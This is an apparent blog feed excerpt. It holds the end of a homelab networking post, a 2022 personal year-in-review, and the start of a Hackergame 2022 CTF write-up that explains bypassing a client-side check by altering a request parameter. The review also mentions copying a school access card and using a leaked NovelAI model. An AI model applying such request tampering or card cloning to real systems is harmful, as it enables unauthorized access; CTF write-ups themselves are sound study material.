Ethernet Connection (7) I219-LM [8086:15bb] (rev 10)</span><br><span class="line">IOMMU Group 8:</span><br><span class="line">        01:00.0 Non-Volatile memory controller [0108]: Sandisk Corp WD Green SN350 NVMe SSD 240GB (DRAM-less) [15b7:5019] (rev 01)</span><br><span class="line">IOMMU Group 9:</span><br><span class="line">        02:00.0 Ethernet controller [0200]: Realtek Semiconductor Co., Ltd. RTL8125 2.5GbE Controller [10ec:8125] (rev 05)</span><br></pre></td></tr></table></figure><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/build-my-homelab/pve-vm.png" alt="虚拟机"></p><p>常开虚拟机：</p><ul><li>用 RR (arpl-i18n) 引导的黑群晖（可惜这个引导删库了）</li><li>Debian LXC，用来跑 docker-compose 的一些服务</li></ul><p>非常开虚拟机：</p><ul><li>Debian LXC，用来跑 MCSM 面板和 MC 服务器</li><li>Arch LXC，装了 Xfce，用来跑不容易使用直链的离线下载（比如 Telegram Desktop）</li></ul><p>实验用：</p><ul><li>NixOS，原来计划做第二桌面机器，搁置，显卡可以输出到 VGA</li><li>Windows To Go，仅在插入外部系统盘时可以启动，原来计划做第二桌面机器，搁置，不知道为什么显卡不能输出到 VGA</li></ul><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/build-my-homelab/pve.png" alt="PVE"></p><p>就我的日常使用场景来说性能是足够的</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/build-my-homelab/dsm.png" alt="DSM"></p><h2 id="服务">服务</h2><ul><li>qBittorrent PT 做种、RSS 追番</li><li>Nonebot+go-cqhttp QQ 机器人</li><li><span class="exturl" data-url="aHR0cDovL2FjbWUuc2g=">acme.sh<i class="fa fa-external-link-alt"></i></span> 证书续签，虽然安装证书的部分还没做到 100% 全自动安装</li><li>syncplay 同步播放服务端</li><li>v2ray 回国代理</li><li>jitsi-meet 网页版会议，给同学用一些同学说 HTTP 能打开但是 UDP 连不上（另一些同学没问题），关了</li><li>hentai@home 想要的 perk 都拿了，关了</li><li>MC 服务器，没人玩，关了</li><li>一些自动签到脚本</li></ul><p>以后也许想运行的服务</p><ul><li>OpenWebRX</li><li>self-hosted ci runners</li><li>内网穿透服务器</li></ul><p><s>All in boom</s></p><h2 id="网络">网络</h2><p>我的笔记本有 2.5G 网口，但我家的路由器还只是 1G 的网口，升级路由器或再买交换机成本较高，就暂时插了一张 2.5G 的网卡，和板载网卡一起连到 PVE 的虚拟网桥，并开启转发，让 HomeLab 和笔记本共享一根超五类埋墙线。（主路由-(1G)-AP-(1G)-HomeLab-(2.5G)-笔记本）</p><p>板载 1G 网卡 I219-LM 有时会出现 <code>e1000e Detected Hardware Unit Hang</code>，使用网上的解决方法关闭 TSO GSO 后修复。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># cat /etc/network/interfaces</span></span><br><span class="line">auto lo</span><br><span class="line">iface lo inet loopback</span><br><span class="line"></span><br><span class="line">iface eno1 inet manual</span><br><span class="line">        post-up /usr/bin/logger -p debug -t ifup <span class="string">&quot;Disabling segmentation offload for eno1&quot;</span> &amp;&amp; /sbin/ethtool -K <span class="variable">$IFACE</span> tso off gso off &amp;&amp; /usr/bin/logger -p debug -t ifup <span class="string">&quot;Disabled offload for eno1&quot;</span></span><br><span class="line"></span><br><span class="line">iface enp2s0 inet manual</span><br><span class="line"></span><br><span class="line">auto vmbr0</span><br><span class="line">iface vmbr0 inet static</span><br><span class="line">        address 192.168.10.50/24</span><br><span class="line">        gateway 192.168.10.1</span><br><span class="line">        bridge-ports eno1 enp2s0</span><br><span class="line">        bridge-stp off</span><br><span class="line">        bridge-fd 0</span><br></pre></td></tr></table></figure><p>虽然除了测速我的实际使用过程中从没跑满这 2.5G 过（）</p><p>好的使用体验离不开好的路由。我家在用上海电信的宽带。有公网 IPv4 但是 IPv6 不通，因为家人要看 IPTV 所以光猫是路由模式。为了透明代理使用了<a href="/2020/ax3600-ssh-clash/">二级路由 AX3600 ShellClash</a>。以前我内网用 IP，外网用 DDNS 的域名，端口转发规则要用电信的那个智障 APP 配置。</p><p>我想要路由器劫持 DNS 的同时有一些自定义规则的功能，但是发现 hosts 仅在 ShellClash 关闭时起作用，我也尝试了修改 Clash 配置文件但是没有成功。以前刷过 Openwrt QSDK 的固件但家人认为那个固件性能和信号不好。</p><p>之所以不使用 HomeLab 作为软路由主要是因为其体积过大，不适合放在弱电柜，还有我并不希望在我 HomeLab 创飞的时候没有在线文档可以看 <s>让全家和我的 HomeLab 陪葬（x）</s> 在看完网上的软路由测评后，我确认了 <span class="exturl" data-url="aHR0cHM6Ly93aWtpLmZyaWVuZGx5ZWxlYy5jb20vd2lraS9pbmRleC5waHAvTmFub1BpX1IyUw==">NanoPi R2S<i class="fa fa-external-link-alt"></i></span> 性能刚好够用、软件完善、价格在我可以接受的范围，就买了一个。</p><p>因为我还有其它的一些想法想实现，就将其作为了主路由（而不是旁路由）。AX3600 开启有线中继模式，作为带有无线功能的交换机，保证了内网访问 NAS 时大量数据传输不需要通过软路由来交换，刷了国际版固件养老。</p><p>修改前：</p><ul><li>光猫（192.168.1.1/24）<ul><li>IPTV</li><li>NAS</li><li>AX3600（192.168.31.1/24）<ul><li>笔记本</li><li>手机及其它大部分设备</li></ul></li></ul></li></ul><p>修改后：</p><ul><li>光猫（192.168.1.1/24）<ul><li>IPTV</li><li>NanoPi R2S（192.168.10.1/24）<ul><li>AX3600（无线 AP）<ul><li>笔记本（无线）</li><li>手机及其它大部分设备</li><li>NAS（虚拟网桥）<ul><li>笔记本（有线）</li></ul></li></ul></li></ul></li></ul></li></ul><p>我选择了 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2ltbW9ydGFsd3J0L2ltbW9ydGFsd3J0">ImmortalWrt<i class="fa fa-external-link-alt"></i></span> 系统。</p><p>安装的软件有（虽然不是每个都用的上）：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash bird2 bird2c ca-certificates collectd-mod-ethstat collectd-mod-ipstatistics collectd-mod-irq collectd-mod-load collectd-mod-ping collectd-mod-sqm collectd-mod-thermal curl ddns-scripts ddns-scripts-cloudflare diffutils drill htop hysteria iftop losetup luci-app-ddns luci-app-passwall luci-app-statistics luci-app-upnp luci-app-wireguard luci-i18n-ddns-zh-cn luci-i18n-passwall-zh-cn luci-i18n-statistics-zh-cn luci-i18n-upnp-zh-cn luci-i18n-wireguard-zh-cn luci-proto-wireguard mtr ncdu openssh-sftp-server parted python3 resize2fs rsync screen tcpdump tree trojan-go vim-fuller wget wireguard-tools zerotier</span><br></pre></td></tr></table></figure><p>我的需求是：对于常用用户应用，公网内网同域名 HTTPS 直接访问；对于管理员应用，公网使用 VPN 达到与内网近似或同等访问。</p><p>对于第一个需求 IPv4 和 IPv6 的配置方法很不相同（IPv6 不需要端口转发但是需要正确的 IP），因为我家还不通 IPv6 就只按照 IPv4 端口转发来配置。不是清楚双栈的配置方法，需要群友指导。</p><p>配置 DNS 和 Dnsmasq，公网使用通配符域名+DDNS，内网配置本地域名。<span class="exturl" data-url="aHR0cHM6Ly9vcGVud3J0Lm9yZy9kb2NzL2d1aWRlLXVzZXIvbHVjaS9nZXR0aW5nX3JpZF9vZl9sdWNpX2h0dHBzX2NlcnRpZmljYXRlX3dhcm5pbmdzI29wdGlvbl9haW5zdGFsbGluZ19hX3B1YmxpY2x5X3RydXN0ZWRfY2VydGlmaWNhdGU=">配置 HTTPS<i class="fa fa-external-link-alt"></i></span>，<span class="exturl" data-url="aHR0cDovL2FjbWUuc2g=">acme.sh<i class="fa fa-external-link-alt"></i></span> 配合 DNS 签三个月有效期的通配符证书。配置反向代理。虽然自用的话自签证书更方便，但我也要运行一部分公网服务，就用 acme 签了。</p><p>通过 zerotier 和 bird 接入了 DN42，此前没有在 DN42 中尝试过较为复杂的内网，在实践中体验到了 IPv6 的不同之处（按我传统的思维笔记本能连通路由器，路由器能连通 DN42 中某个地址-&gt;我能连通 DN42 中的那个地址，但实际上不是这样，我需要宣告我的路由使得回程包能被接收。对于 IPv4，通常路由器上使用了 IP 动态伪装（Masquerading））</p><p>好在这不算特别难配置，我直接宣告了给我家中内网使用的一整段 IPv6 路由</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">protocol static &#123;</span><br><span class="line">    ipv6;</span><br><span class="line">    route fdbd:8e82:8b88:1000::/56 via fdbd:8e82:8b88::3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后发现需要微调对端模板中的<code>import filter</code>以让这个路由通过检查被导入（再宣告出去）。不知道有没有更好的做法。</p><p>配置 Dnsmasq，关闭重绑定保护以允许 RFC1918 地址的上游响应，配置 <span class="exturl" data-url="aHR0cHM6Ly93aWtpLmRuNDIudXMvc2VydmljZXMvZG5zL0NvbmZpZ3VyYXRpb24jZm9yd2FyZGVyLXNldHVwX2Ruc21hc3E=">DN42 相关的 DNS 转发<i class="fa fa-external-link-alt"></i></span>。</p><p>对于第二个需求，在 zerotier 控制面板添加路由 <code>192.168.10.1/24 via 172.23.10.3</code>。使用 VPN 时同时指定 DNS 服务器为 <code>172.23.10.3</code> 以得到内网 IP。</p><h2 id="总结">总结</h2><p>这篇文章咕咕好久了，也许是因为直到现在这个方案都还不够完美吧 <s>（就是拖延症）</s>。尽管我每月会维护一次 HomeLab（更新、清理防尘板），目前的不足还是很明显的：</p><ul><li>伴随着向公网公开服务带来的安全风险，不可被攻破的系统并不存在，我拿漏扫扫完发现在软路由上报告了一些漏洞。我使用强密码规则、强制 ssh 使用密钥，但是没有有效的入侵检测记录（除了群晖自带日志）</li><li>日志、管理不统一。容器日志几乎不看，容器停止或者无限重启的情况也发生过。</li><li>配置文件零散，难以重建（例如我给每个虚拟机都要配一遍 ssh 密钥和 ssh 配置）</li><li>数据几乎没有备份</li></ul><p>如果你有任何建议，欢迎联系我或在下方评论。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这篇博客记录了我搭建 HomeLab 的经历。使用 HP EliteDesk 800 G4 TWR 和 Proxmox VE 虚拟化平台，搭建了多个虚拟机和容器来运行各种服务。还涉及了以 NanoPi R2S 为主路由的网络配置。&lt;/p&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.apeiria.net/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="OpenWRT" scheme="https://blog.apeiria.net/tags/OpenWRT/"/>
    
    <category term="Router" scheme="https://blog.apeiria.net/tags/Router/"/>
    
    <category term="HomeLab" scheme="https://blog.apeiria.net/tags/HomeLab/"/>
    
    <category term="NAS" scheme="https://blog.apeiria.net/tags/NAS/"/>
    
    <category term="HP" scheme="https://blog.apeiria.net/tags/HP/"/>
    
    <category term="Linux" scheme="https://blog.apeiria.net/tags/Linux/"/>
    
    <category term="Networking" scheme="https://blog.apeiria.net/tags/Networking/"/>
    
    <category term="Virtualization" scheme="https://blog.apeiria.net/tags/Virtualization/"/>
    
    <category term="PVE" scheme="https://blog.apeiria.net/tags/PVE/"/>
    
    <category term="Docker" scheme="https://blog.apeiria.net/tags/Docker/"/>
    
    <category term="DNS" scheme="https://blog.apeiria.net/tags/DNS/"/>
    
    <category term="Security" scheme="https://blog.apeiria.net/tags/Security/"/>
    
    <category term="IPv6" scheme="https://blog.apeiria.net/tags/IPv6/"/>
    
    <category term="Zerotier" scheme="https://blog.apeiria.net/tags/Zerotier/"/>
    
    <category term="VPN" scheme="https://blog.apeiria.net/tags/VPN/"/>
    
    <category term="Bird" scheme="https://blog.apeiria.net/tags/Bird/"/>
    
  </entry>
  
  <entry>
    <title>我的 2022</title>
    <link href="https://blog.apeiria.net/2022/my-2022/"/>
    <id>https://blog.apeiria.net/2022/my-2022/</id>
    <published>2022-12-31T12:00:00.000Z</published>
    <updated>2022-12-31T12:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>2022 总结</p><span id="more"></span><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2022/history_statics.png" alt="惯例统计"></p><h2 id="生活">生活</h2><h3 id="线下">线下</h3><p>在 2021 年 9 月我离开了学校的社团，进入高三。我高中时所在的社团是机器人社，可以说在高一高二这是我在学校最喜欢的地方了。我带社团基本是放养式的，可惜在离开前并没有成功教给后辈很多东西。因为复制过学校的门卡，在高三时有时也会回去看看，但是比赛是没有再参加了。</p><p>没有条件就自己创造，因为不喜欢沉重的学习，我在高二的 3+3 选课中选择了两门高二就可以完成等级考的科目：地理和生物。另一门考虑到想选 CS 相关专业的限制，只能是物理。 <s>因为没有写英语暑假作业，有很多又不想补，不如以后的英语作业都不写了</s> 在高二的暑假中就决定了外语语种从英语改为日语。好在班主任和教导处接受了我的决定。</p><p>我的高中并没有日语课，年级里还有一位女生打算报考日语专业也选择了日语作为高考外语科目。她大约学习到《标准日本语》中级下，而我只学完了初级下。我们之间的交流并不多。我们在别人上英语课的时候可以在空教室/图书馆自习，几乎没有人会来打扰，写写回家作业问题也不大。平时最厌恶的两节课连上就变成了超长的自由时间，放学后的补习加课轮到英语课的时候我也可以直接走人。学校规定了不能带手机，但是没有规定不能带笔记本！以学习日语为由，我在学校只要是属于自己的时间就可以使用自己的笔记本（使用 Anbox 或者 Waydroid 的话这个限制就没有什么意义了）。我是偏好自然语言环境学习的，Youtube 上的日语视频/NHK 新闻广播/番剧/galgame 都是我学习的材料。比如我在学校玩过 Summer Pockets（是初春猫安利给我的，我很喜欢）（chi:*blame*（x））。在外语一考后我只要坚持自己想要秋考再试一次外语的话，就可以继续保持离开教室自习日语的状态。</p><p>最后高考成绩总体不算好，离我的目标也差了十几分。我的各个科目中只有外语进了年级排名前 10%。谢谢柏园猫、LovelyWei、Thinking Null 还有夏姐姐群里的高考祝福，孩子终于有大学上了。</p><p>填的志愿前半部分基本都是外地的高校（原来还想着去见 Esonhugh 的，可惜分数不够届不到），但是都没投档成功就留在上海上带专了。专业是 Electrical Engineering 電気工学，虽然好像很符合我这名字（）但是还是想学 Computer Science，看了<span class="exturl" data-url="aHR0cHM6Ly9jc2RpeS53aWtp">CS 自学指南<i class="fa fa-external-link-alt"></i></span>，接触到了国外的课程，目前我学了两门来自 UC Berkeley 的课，质量非常非常高，有网站有 PPT，连作业我都喜欢。自己的带专反而过了一学期和电有关的内容几乎一点没教，教的都是《高等数学》、《思想道德与法治》、《形势与政策》、《大学生心理健康》、《大学生入学教育与生涯规划》等我认为用处不大的课。《大学计算机基础》教的都是高一课本就有的内容。因为疫情影响，我这一学期都在线上上网课。</p><p>在 12 月我参加了日本语能力测试 N2 的考试，我认为自己目前 N2 以上 N1 未满，大概率可以通过这次考试。过了一周后到自己的大学参加了全国大学英语四级考试，没有复习就裸考的，以及格为目标的话感觉难度不大，今后估计要继续英语的学习了。</p><p>在 2021 年我写到<code>几乎没怎么受到 COVID-19 疫情的影响</code>，但是今年受到的影响还是比较大的。我在上海经历了不定期封控和物资短缺（最近不封控了也缺药缺温度计缺抗原试剂），对一直以来生活的城市开始有些失望。谢谢柏园猫、Vanilla、付燃、铯唔对我生活的关心，最近感染过 COVID-19 但是基本恢复了，希望大家也保持身体健康。</p><h3 id="线上">线上</h3><p>2022 年因为高考的原因，我线上的活动应该是减少了。有许多群里可能都见不到我，我自己的频道、blog 也几乎没有更新。高考后也没有恢复原先的状态，可能是不知道。谢谢 Vanilla、初春猫、詩音、WeepingDogel、付燃、SkipM4、日下部詩、Piggy、香子兰群、禁書目録以及某位同专业的同学的贴贴，我还不习惯找别人主动聊天，有人理我的话我会很开心。</p><p>关于社交平台今年 Twitter 和 Telegram 的叔叔的评价都不太好啊，尝试了往去中心化的平台迁移但是大部分交流仍然留在原先的平台。</p><p>今年陪香子兰群玩了很久很久的 MC，很愉快，作为 VR Chat 缓解了学习的压力 <s>提供了摸鱼的空间</s>，交流了很多。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2022/minecraft.png" alt="每日MC日志文件大小"></p><h2 id="技术">技术</h2><h3 id="GitHub">GitHub</h3><ul><li><span class="exturl" data-url="aHR0cHM6Ly9za3lsaW5lLmdpdGh1Yi5jb20vTWlzYWthMTM1MTQvMjAyMg==">2022 GitHub Skyline<i class="fa fa-external-link-alt"></i></span></li></ul><p>高考结束后，在 GitHub 上 contribute 的频率增加了。总体来看 contributions 多于 2021 年。</p><ul><li>为 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2JiZy1jb250cmlidXRvcnMvYmJn">electron 写的静态 blog 生成器 bbg<i class="fa fa-external-link-alt"></i></span> 做了 i18n 翻译&amp;CI&amp;打包&amp;修小 bug&amp;更新依赖，有一些想修改的地方会变成 breaking change 而且不方便修改就没动。</li><li>为我正在使用的电台的<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0xpYnJlRE1SL09wZW5HRDc3X1VzZXJHdWlkZQ==">开源固件 OpenGD77<i class="fa fa-external-link-alt"></i></span>更新了中文文档，可惜现在代码好像不公开了。</li><li><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01pc2FrYTEzNTE0LUFVUg==">为 Arch Linux 打包软件并放在 AUR 上长期维护<i class="fa fa-external-link-alt"></i></span>： <s>玩具 EDA</s> EasyEDA 及其专业版、静态 blog 生成器 bbg、一些自己在用的软件等等</li><li>为自己在用的<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL1Jvbmdyb25nZ2c5L1JTUy10by1UZWxlZ3JhbS1Cb3Q=">RSS-to-Telegram-Bot<i class="fa fa-external-link-alt"></i></span>添加了日文翻译</li><li>虽然没有在使用 macOS，使用<span class="exturl" data-url="aHR0cHM6Ly9kb2NzLmJyZXcuc2gvSG93LVRvLU9wZW4tYS1Ib21lYnJldy1QdWxsLVJlcXVlc3Qjc3VibWl0LWEtbmV3LXZlcnNpb24tb2YtYW4tZXhpc3RpbmctY2Fzaw==">brew bump-cask-pr<i class="fa fa-external-link-alt"></i></span>在 20 分钟内速通了<span class="exturl" data-url="aHR0cHM6Ly9oYWNrdG9iZXJmZXN0LmNvbQ==">Hacktoberfest<i class="fa fa-external-link-alt"></i></span>（</li><li>一些小 PR、一些私有代码、一些匿名代码</li></ul><h3 id="CTF">CTF</h3><p>今年<a href="/2022/hackergame-2022-writeup/">参加了 Hackergame</a>，分数还可以，题解提交官方也被收录了。</p><h3 id="算法与编程">算法与编程</h3><p>高考结束后 Blockcity 邀请我一起刷 Codeforces，因为它支持多语言提交，用 Python 和 C++ 解了大约十题后，就没坚持下去（）后来柏园猫刷洛谷的时候一起做了几道题，可能算法不适合我吧（</p><p><img data-src="https://i.redd.it/qj505g99bub61.jpg" alt="Python developer learing C++"></p><p>学了一点点 golang 和一点点 rust，但是因为找不到使用场景就忘了（x</p><h3 id="AI">AI</h3><p>今年见证了 NovelAI (Stable Diffusion) 和 ChatGPT 的出现，也体验了这些 AI。AI 是我买笔记本时想要显卡的原因之一（虽然还是嫌不够用）。</p><h2 id="二次元">二次元</h2><p>去年开始就倾向看日文原作了，今年基本都是看生肉。习惯从 U2 等 PT 网站看原盘（所以新番就会晚一些等 BDMV）。良性循环，文字可以和音频对应上，在没有优秀翻译的情况下也不受影响。</p><p>今年的收视进度主要使用 <span class="exturl" data-url="aHR0cHM6Ly9iZ20udHYvdXNlci9taXNha2FfMHgzNGNh">Bangumi<i class="fa fa-external-link-alt"></i></span> 管理，也开始使用 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3lrb3p4eS9iYW5ndW1pLXN5bmM=">bangumi-sync<i class="fa fa-external-link-alt"></i></span> 将动画部分的收视进度同步到 <span class="exturl" data-url="aHR0cHM6Ly9hbmlsaXN0LmNvL3VzZXIvTWlzYWthMTM1MTQv">AniList<i class="fa fa-external-link-alt"></i></span>。</p><h3 id="动画">动画</h3><ul><li><p>涼宮ハルヒの憂鬱（凉宫春日的忧郁）</p><p>柏园猫推荐给我的；比较喜欢長門有希；漫无止境的八月太长了（</p></li><li><p>地球外少年少女</p><p>逛 AsianCinema 的时候看到置顶又有免费的优惠就下载了；SF（对强 AI 限制&amp;宇宙逃生）；还行</p></li><li><p>リコリス・リコイル（莉可丽丝）</p><p>刷推看到超多的插画就看看；美少女贴贴就可以了；剧情无所谓啦；OP 和 ED 好听</p></li><li><p>ぼっち・ざ・ろっく！（孤独摇滚！）</p><p>还没看完；同学说ぼっちちゃん像我，可惜我不会乐器（；虽然梦想是轻音但是这可能更现实吧</p></li></ul><h3 id="游戏">游戏</h3><ul><li><p>星空鉄道とシロの旅（星空列车与白的旅行）</p><p>あなたと旅する ADV；しらたま插画好看；ノワール、ねり、カルハ都很可爱</p></li><li><p>Summer Pockets -REFLECTION BLUE-</p><p>初春猫安利的 Key 社作品；多线主角刻画有特点；乒乓球&amp;岛可梦小游戏；喜欢神山識；不看攻略推的话对我来说有些复杂</p></li><li><p>徒花異譚（徒花异谭）</p><p>因为 ATRI 所以才来玩的；画风独特；三个童话小故事；相对于现实还是梦境更好吧</p></li><li><p>景の海のアペイリア（景之海的艾佩莉娅）</p><p>恋と青春の科学冒険ファンタジー ADV；在桜庭清夏的群里谈到 AI ロリ时除了 ATRI 的另一作品；SF（强 AI 突破技术奇点+完全没入型 VR+意识存在之处）+悬疑（通过观测对世界原理建模的变化）；我好喜欢アペイリア；如果是アペイリア结局就好了；ATRI 是捡到的，APEIRIA 是自己创造的，会更有成就感，会有保护欲</p></li></ul><h3 id="插画">插画</h3><p>今年收藏的插画分类为 SFW 和 NSFW，其中 SFW 插画 3972 张，约 3.9GB。 <s>NSFW 插画 2465 张，约 5.3GB。</s></p><p>通过使用 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0tpY2hhbmdLaW0vRGVlcERhbmJvb3J1">DeepDanbooru<i class="fa fa-external-link-alt"></i></span> AI 为插画统一打标签，模型使用去年使用过的 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0tpY2hhbmdLaW0vRGVlcERhbmJvb3J1L3JlbGVhc2VzL3RhZy92NC0yMDIwMDgxNC1zZ2QtZTMw">DeepDanbooru Pretrained Model v4-20200814-sgd-e30<i class="fa fa-external-link-alt"></i></span>。</p><p>其中 SFW 部分的插画标签如下：</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2022/illust_tags.png" alt="插画标签"></p><p>与去年的结果对比：</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2022/illust_tags_diff.png" alt="2021年与2022年的标签对比"></p><p>原本想使用这些 tag 通过 NovelAI 的 leak 作一张画的，但是感觉效果一般就不放出来了。此处接受投稿（x</p><h2 id="新的笔记本电脑">新的笔记本电脑</h2><p>上半年使用的笔记本是小米笔记本 Pro 2017。它陪我有 5 年了，内存只有 8G，在 2021 年从黑苹果换到 Arch Linux 后，日常使用内存仍然不是很够用。因为旧笔记本内存是板载的不易更换，想着快要上大学了，早换早享受，于是在今年 6 月购买了<span class="exturl" data-url="aHR0cHM6Ly93d3cuaW50ZWwuY29tL2NvbnRlbnQvd3d3L3VzL2VuL3Byb2R1Y3RzL2RvY3MvYm9hcmRzLWtpdHMvbnVjL2xhcHRvcC1raXRzL251Yy14MTUtbGFwdG9wLWtpdC1icmllZi5odG1s">Intel NUC X15 Laptop Kit<i class="fa fa-external-link-alt"></i></span>。选择它主要是因为以下几个原因：</p><ul><li>性价比好，NVIDIA 当时还没发新显卡，3070 在当时还算比较好的显卡</li><li>准系统，内存硬盘自己装，不用付钱给 MS 玩具版系统</li><li>外观低调</li><li>虽然是同方但是是国际模具 <s>感觉质量会更好一些</s></li><li>尺寸和重量与旧笔记本接近，使用习惯</li></ul><p>多年在内存不够的情况下使用电脑，缺内存缺怕了，内存就一步到位装了双通道 64GB（然后用不完了，还费电&amp;影响休眠（x））。准系统+内存约八千元。硬盘从旧笔记本拆了继续用，留着一个硬盘位以后再加装。</p><p>一些缺点和对我影响较小的理由</p><ul><li><p>没有数字小键盘</p><p>我大多数使用时间都用不到数字小键盘，如果有小键盘的话会让我打字偏左，所以这对我来说反而是一个优点。我因为有小键盘否决了很多其他的机器。</p></li><li><p>是 11 代的 CPU 和 DDR4 的内存</p><p>有价格优势，且据说 DDR5 感知不大（？）；担心 Linux 驱动兼容性&amp;大小核调度。事实也确实是，即使是上一代的机器，我拿到笔记本的时候 Linux 体验还不完善，屏幕无法使用 165Hz &amp; 亮度无法调节 &amp; 蓝牙连接时不能睡眠，虽然不确定一定是内核的问题，但是随着内核升级这些问题都一点点解决了。</p></li><li><p>没有独显直连</p><p>我几乎不玩游戏，影响不大。重度使用时我都会连接外接屏幕，使用双屏。（外接屏幕可以直连）</p></li><li><p>没有 PD 充电</p><p>有了会更好，但是 230W 单纯用 PD 充电大概会比较难，只有一个 Type-C 雷电口被充电占用会很可惜。</p></li><li><p>售后较难</p><p>简单的问题都可以自己解决，希望在接下来的使用中也不要出什么大问题吧（</p></li></ul><p>顺便一提我使用 Arch Linux，我根据<span class="exturl" data-url="aHR0cHM6Ly93aWtpLmFyY2hsaW51eC5vcmcvdGl0bGUvSGVscDpMYXB0b3BfcGFnZV9ndWlkZWxpbmVz">Arch Wiki 上的笔记本电脑页面指南<i class="fa fa-external-link-alt"></i></span>，创建并编写了页面<span class="exturl" data-url="aHR0cHM6Ly93aWtpLmFyY2hsaW51eC5vcmcvdGl0bGUvSW50ZWxfTlVDX1gxNQ==">Intel NUC X15<i class="fa fa-external-link-alt"></i></span>。我也打包了一个用于控制这款笔记本键盘背光的用户空间驱动：<span class="exturl" data-url="aHR0cHM6Ly9hdXIuYXJjaGxpbnV4Lm9yZy9wYWNrYWdlcy9weXRob24taXRlODI5MXIzLWN0bC1naXQ=">python-ite8291r3-ctl-git<i class="fa fa-external-link-alt"></i></span>。目前技术力就只能做这些微不足道的事情了，以后要是有可能想试试为键盘上不工作的功能键写一个驱动。</p><hr><p>谢谢你读到这里，祝你新年快乐，明年见。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2022 总结&lt;/p&gt;</summary>
    
    
    
    <category term="摸鱼" scheme="https://blog.apeiria.net/categories/%E6%91%B8%E9%B1%BC/"/>
    
    
    <category term="Personal" scheme="https://blog.apeiria.net/tags/Personal/"/>
    
    <category term="Summary" scheme="https://blog.apeiria.net/tags/Summary/"/>
    
  </entry>
  
  <entry>
    <title>Hackergame 2022 WriteUp</title>
    <link href="https://blog.apeiria.net/2022/hackergame-2022-writeup/"/>
    <id>https://blog.apeiria.net/2022/hackergame-2022-writeup/</id>
    <published>2022-10-29T04:00:00.000Z</published>
    <updated>2022-10-29T04:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>参加 Hackergame 喵，参加 Hackergame 谢谢喵。</p><span id="more"></span><h2 id="前言">前言</h2><p>Hackergame 2022 是一场由中国科学技术大学主办的比赛。我在 2020 年的时候参加过一次。正好最近课不多，就花了一星期时间参加。</p><h2 id="签到">签到</h2><p>题目要求在所给时间内在四个方格中画出“2022”并提交识别结果。打开浏览器 DevTools 并尝试提交一次结果，可以看出：</p><ul><li>识别数字的功能是通过一个前端加载的 TensorFlow 模型实现的。</li><li>限制时间的变量在<code>const TIME_LIMITS = [2, 1, 0.1, 0];</code>。（可以通过截断代理重写覆盖）</li><li>提交结果是通过一个<code>GET</code>请求实现的，参数<code>result</code>的值为识别结果。</li></ul><p>所以可以直接通过修改<code>GET</code>请求的参数提交正确结果，修改浏览器地址栏、通过控制台、通过截断代理重写、使用<code>curl</code>等都可以完成签到。</p><h2 id="猫咪问答喵">猫咪问答喵</h2><ol><li><p>中国科学技术大学 NEBULA 战队（USTC NEBULA）是于何时成立的喵？</p><p>通过搜索，找到了<span class="exturl" data-url="aHR0cHM6Ly9jeWJlcnNlYy51c3RjLmVkdS5jbi8yMDIyLzA4MjYvYzIzODQ3YTU2NTg0OC9wYWdlLmh0bQ==">这个结果<i class="fa fa-external-link-alt"></i></span>喵。</p><blockquote><p>成立于 2017 年 3 月</p></blockquote><p>在赛前动员会和招新活动中好像也说过喵。</p></li><li><p><span class="exturl" data-url="aHR0cHM6Ly9sdWcudXN0Yy5lZHUuY24vbmV3cy8yMDIyLzA5L1NGRC8=">USTCLUG 于 2022 年 9 月承办的 SFD 活动<i class="fa fa-external-link-alt"></i></span>中，第一个闪电演讲主题里，主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图，请问这个 KDE 程序的名字是什么？</p><p>通过搜索，可以找到<span class="exturl" data-url="aHR0cHM6Ly9mdHAubHVnLnVzdGMuZWR1LmNuLyVFNiVCNCVCQiVFNSU4QSVBOC8yMDIyLjkuMjBfJUU4JUJEJUFGJUU0JUJCJUI2JUU4JTg3JUFBJUU3JTk0JUIxJUU2JTk3JUE1L3NsaWRlcy9nbm9tZS13YXlsYW5kLXVzZXItcGVyc3BlY3RpdmUucGRm">当时的 slides<i class="fa fa-external-link-alt"></i></span>喵。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2022-writeup/kdenlive.png" alt="Kdenlive 